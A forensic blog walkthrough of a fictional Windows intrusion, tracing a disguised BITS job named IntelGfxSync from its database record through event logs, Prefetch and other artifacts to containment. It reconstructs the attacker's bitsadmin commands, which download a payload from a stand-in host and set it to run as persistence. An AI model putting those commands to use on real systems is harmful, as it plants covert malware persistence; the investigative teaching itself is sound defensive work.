Skip to content

Blog11 min read

Investigating a BITS Persistence Job: FIN-WKS-07

A worked BITS investigation on a fictional Windows 11 intrusion: find the job that imitates Intel, read its record, tie it to an account, corroborate it, write it up.

by Published on

TL;DR. On FIN-WKS-07, the BITS queue holds the usual updater jobs owned by SYSTEM and alice, and one that is not usual: IntelGfxSync, created at about 10:24 by the rogue account svc_backup, downloading http://files.example/m64.exe to C:\ProgramData\Intel\m64.exe, with the notify command C:\ProgramData\Intel\m64.exe -svc and a minimum retry delay of a full day. Read the record field by field, map the owner SID to svc_backup, use the state to tell whether BITS has had reason to run the command, then corroborate outside BITS: bitsadmin.exe in Prefetch and process logs, the BIT*.tmp file in the folder Defender was told to ignore, and a child process of the BITS svchost.exe. BITS Parser lists and flags the job. The host, accounts, URLs and times are synthetic.

The case

FIN-WKS-07 is a fictional Windows 11 workstation. The people, accounts, files, URLs and times are invented and match the other examples in this family of sites. On 2026-09-14, a rogue local account, svc_backup, is created and used over Remote Desktop to bring in tools, weaken Defender, run a backdoor, move laterally and stage data. All times are UTC.

What other artifacts have already shown:

TimeEvent
09:57:41svc_backup created (Security 4720)
09:59:28svc_backup logs on over RDP (Security 4624, logon type 10)
10:02:16cmd.exe runs in its session
10:03:05tools.zip downloaded from http://files.example/tools.zip
10:08:12Defender exclusions added for the path C:\ProgramData\Intel and the process m64.exe (5007)
10:09:44C:\ProgramData\Intel\m64.exe runs for the first time
10:21:03PsExec64.exe runs
10:26:44Scheduled task a8Xq2LmZ created
10:47:12rclone.exe runs
10:55:12Collection

At 10:55:12 the responder copied C:\ProgramData\Microsoft\Network\Downloader\ from a shadow copy and exported the Bits-Client log, as in collecting BITS evidence, with Prefetch, the hives and the other event logs.

Step 1: list every job

BITS Parser lists each job with its files, owner, notify command line and times. On FIN-WKS-07 they fall into two groups:

JobsOwnerURLsDestinationsNotify command
Updaters for Edge, Office, OneDrive, Teams, the Store and Windows UpdateSYSTEM or aliceVendor hosts over HTTPSProgram folders, Windows folders, alice's profileNone
IntelGfxSyncsvc_backuphttp://files.example/m64.exeC:\ProgramData\Intel\m64.exeC:\ProgramData\Intel\m64.exe -svc

One job has a notify command, one job belongs to svc_backup, and one job uses plain HTTP to a host that is not a vendor's. It is the same job. The checks behind that reading are in telling benign BITS jobs from malicious ones.

Step 2: read the record

FieldValueReading
NameIntelGfxSyncImitates Intel graphics software
Type, priorityDownload, normalNormal is BITS's default priority
StateTransferredThe file arrived and the job was never completed
OwnerS-1-5-21-3623811015-3361044348-30300820-1119svc_backup, see step 4
Notify programC:\ProgramData\Intel\m64.exeThe backdoor
Notify parametersC:\ProgramData\Intel\m64.exe -svcThe first parameter repeats the program, as Microsoft requires
Notify flags3: transferred, errorThe default
Source URLhttp://files.example/m64.exeThe host that served tools.zip at 10:03:05
DestinationC:\ProgramData\Intel\m64.exeThe file that first ran at 10:09:44
Temporary fileC:\ProgramData\Intel\BIT4A21.tmpWhere the downloaded copy is
Created2026-09-14 10:24:31When the job was set up
Modified2026-09-14 10:24:49The last change: the transfer ending, here
Minimum retry delay86,400 seconds (24 hours)The default is 600 seconds
No-progress timeout1,209,600 seconds (14 days)The default

The record is consistent with five bitsadmin commands:

bitsadmin /create IntelGfxSync
bitsadmin /addfile IntelGfxSync http://files.example/m64.exe C:\ProgramData\Intel\m64.exe
bitsadmin /setnotifycmdline IntelGfxSync C:\ProgramData\Intel\m64.exe "C:\ProgramData\Intel\m64.exe -svc"
bitsadmin /setminretrydelay IntelGfxSync 86400
bitsadmin /resume IntelGfxSync

Consistent with, not proven by: the database stores the result, not the commands. The command lines come from process creation logs, and the program that created the job from event 3 (step 6). What each field means is in the qmgr.db format.

Step 3: why it stands out

  • A notify command on a user's job, pointing at an executable in a vendor-looking folder under ProgramData. That is the shape of BITS persistence.
  • The destination is the notify program. The job fetches the payload it runs.
  • The owner is an account created 27 minutes earlier.
  • The URL is plain HTTP to the host that delivered the toolkit.
  • The retry delay is 144 times the default. Someone set it.
  • The timing. Three minutes after PsExec, two before the scheduled task: in the middle of the intruder's persistence work.
  • The name. Check whether any Intel software on the host uses BITS. No other job in the queue comes from Intel.

Step 4: tie it to the account

  • The SID. S-1-5-21-3623811015-3361044348-30300820-1119 is svc_backup: the ProfileList key in the SOFTWARE hive maps it to C:\Users\svc_backup, and the SAM holds the account. alice is …-1104 on the same machine.
  • Creator or new owner? An administrator can take ownership of another user's job, but Microsoft states that taking ownership removes the notify command line. A job that still carries its command was not taken over after the command was set.
  • When it runs. Microsoft states that BITS transfers a user's jobs only while that user is logged on interactively, and a Remote Desktop session counts. The notify program starts in the context of the user who set it. So m64.exe -svc runs as svc_backup, not as SYSTEM, and the job wakes with svc_backup's sessions, such as the one that started at 09:59:28.

Step 5: what the state means

The state tells you whether BITS has had reason to run the command. It does not tell you that the command ran.

StateWhat it means for the notify command
SuspendedNot resumed; the command has not been triggered
Queued, connecting, transferringWaiting or working; not triggered yet
Transient errorFailing and retrying every minimum retry delay; triggered when the no-progress timeout moves it to error
ErrorTriggered when the job entered this state
TransferredTriggered when the job entered this state
Acknowledged, cancelledFinal states, only seen in carved or older records

For IntelGfxSync, in the transferred state:

  • BITS had reason to start C:\ProgramData\Intel\m64.exe -svc when the transfer ended, around the modification time.
  • Nobody completed the job, so the new download is still BIT4A21.tmp and the file named m64.exe is the one unpacked earlier. Only Complete renames the temporary file.
  • If the program returns a non-zero exit code, BITS starts it again after the minimum retry delay: once a day, here.
  • If someone deletes m64.exe but leaves the job, the next launch fails with file not found and BITS writes event 64, the pattern of Mandiant's KEGTAP case. Remove the job, not only the file.

Step 6: the event log

The sample's Bits-Client log has the job's whole life around 10:24:

Time (UTC)EventWhat it shows
10:24:313Job IntelGfxSync created, owner FIN-WKS-07\svc_backup, creating process C:\Windows\System32\bitsadmin.exe (Windows 11 logs the process)
10:24:3516403A file added to the job; Microsoft gives this event no message, and Sigma reads its fields as the remote and local names
10:24:396The notify command line set, where the build logs it
10:24:4659Transfer started for http://files.example/m64.exe
10:24:4960Transfer stopped, status 0x0: it finished
none64Would appear only if a launch of m64.exe failed

There is no event 4: nothing called Complete, so the download is still BIT4A21.tmp and the notify command runs the m64.exe that was already in the folder. Whether event 4 marks the end of a transfer or the Complete call is not documented; note what you see. The event 3 time and the record's creation time should agree within seconds. If they do not, report both. Each event is described in Bits-Client event IDs.

Step 7: corroborate outside BITS

  1. Prefetch. BITSADMIN.EXE should show runs around 10:24; five commands mean five runs. If anyone ran bitsadmin during collection, its last run time is theirs, not the intruder's. See Prefetch as proof of execution.
  2. Process creation. With command-line auditing (4688) or Sysmon (1), the five bitsadmin.exe command lines are there in full. A launch of m64.exe -svc by BITS appears with the parent svchost.exe -k netsvcs -p -s BITS and the user svc_backup.
  3. The file system. $MFT and the USN journal should show BIT4A21.tmp created in C:\ProgramData\Intel at about 10:24. Hash it and m64.exe: equal hashes mean the same payload; different hashes mean a second one.
  4. Defender. C:\ProgramData\Intel became a path exclusion at 10:08:12, with m64.exe as a process exclusion. The temporary file sits in the excluded folder. See Defender exclusions and tampering.
  5. Other persistence. Scheduled task a8Xq2LmZ, created at 10:26:44, comes from the same session. Compare its action with the BITS command line, and check services and WMI subscriptions for the same program.
  6. The network. Proxy or firewall records for files.example around 10:24, with a User-Agent starting Microsoft BITS/, confirm that the transfer left the host.

The timeline

Time (UTC)EventSource
09:57:41svc_backup createdSecurity log (4720)
09:59:28svc_backup logs on over RDPSecurity log (4624, type 10)
10:03:05tools.zip downloaded from files.examplePowerShell Operational (4103)
10:08:12Defender excludes C:\ProgramData\Intel and m64.exeDefender Operational (5007)
10:09:44m64.exe first runsPCA, Prefetch
10:21:03PsExec64.exe runsPrefetch, BAM
10:24:31BITS job IntelGfxSync created, owner svc_backupqmgr.db creation time; event 3 if the log was collected
10:24:49IntelGfxSync last modified, transfer endedqmgr.db modification time and state
10:26:44Scheduled task a8Xq2LmZ createdTask Scheduler artifacts
10:47:12rclone.exe runsPCA
10:55:12CollectionResponder's notes

Containment

  1. Record before acting: the live listings, the Downloader folder, the event log, and BIT4A21.tmp, which Cancel would delete.
  2. Cancel the job from an elevated prompt with bitsadmin /cancel and the job GUID. Do not take ownership first.
  3. Remove the other persistence, disable svc_backup, and deal with m64.exe.
  4. Sweep the other hosts for a job named IntelGfxSync, the host files.example, the folder C:\ProgramData\Intel and the notify command. PsExec at 10:21:03 means at least one other machine to check.

Writing it up

  • State what the artifact shows: "qmgr.db on FIN-WKS-07 holds a download job named IntelGfxSync, created 2026-09-14 10:24:31 UTC and owned by SID …-1119 (svc_backup), set to run C:\ProgramData\Intel\m64.exe -svc when the job is transferred or fails." Not "svc_backup ran m64.exe through BITS".
  • Say what the state means and what it does not prove, and name the evidence that the program did or did not run.
  • Say that the times are FILETIME values in UTC and that the modification time is the last change to the job, not the last action of the intruder.
  • Say that Microsoft does not document the format, and that the field meanings come from ANSSI, Mandiant and the parsers built on their work.
  • List your own actions on the host, bitsadmin runs included.

FAQ

How do I find which account created a BITS job?

Read the owner SID in the job record and map it to an account through the ProfileList key in the SOFTWARE hive or the SAM. Event 3 in the Bits-Client log names the owner too. The account that created a job owns it unless an administrator took ownership, and taking ownership removes any notify command line.

Does a BITS job record prove that its notify program ran?

No. It proves that the command was configured and, through the state, whether BITS had reason to run it. Proof of a run comes from process creation events with the BITS svchost.exe as parent, from the program's Prefetch file, or, for a failed attempt, from Bits-Client event 64.

Should I cancel a malicious BITS job right away?

Record it first: save the live listings, copy the Downloader folder, the event log and the job's temporary file. Then cancel it as an administrator with bitsadmin /cancel and the job GUID. Do not take ownership of it before it is recorded, because that removes the notify command line from the job.

Why does the job only run when svc_backup is logged on?

BITS transfers a user's jobs only while that user is logged on interactively, at the console, over Remote Desktop or through fast user switching, and it starts the notify program in that user's context. A job owned by svc_backup waits between that account's sessions.

Frequently asked questions

How do I find which account created a BITS job?

Read the owner SID in the job record and map it to an account through the ProfileList key in the SOFTWARE hive or the SAM. Event 3 in the Bits-Client log names the owner too. The account that created a job owns it unless an administrator took ownership, and taking ownership removes any notify command line.

Does a BITS job record prove that its notify program ran?

No. It proves that the command was configured and, through the state, whether BITS had reason to run it. Proof of a run comes from process creation events with the BITS svchost.exe as parent, from the program's Prefetch file, or, for a failed attempt, from Bits-Client event 64.

Should I cancel a malicious BITS job right away?

Record it first: save the live listings, copy the Downloader folder, the event log and the job's temporary file. Then cancel it as an administrator with bitsadmin /cancel and the job GUID. Do not take ownership of it before it is recorded, because that removes the notify command line from the job.

Why does the job only run when svc_backup is logged on?

BITS transfers a user's jobs only while that user is logged on interactively, at the console, over Remote Desktop or through fast user switching, and it starts the notify program in that user's context. A job owned by svc_backup waits between that account's sessions.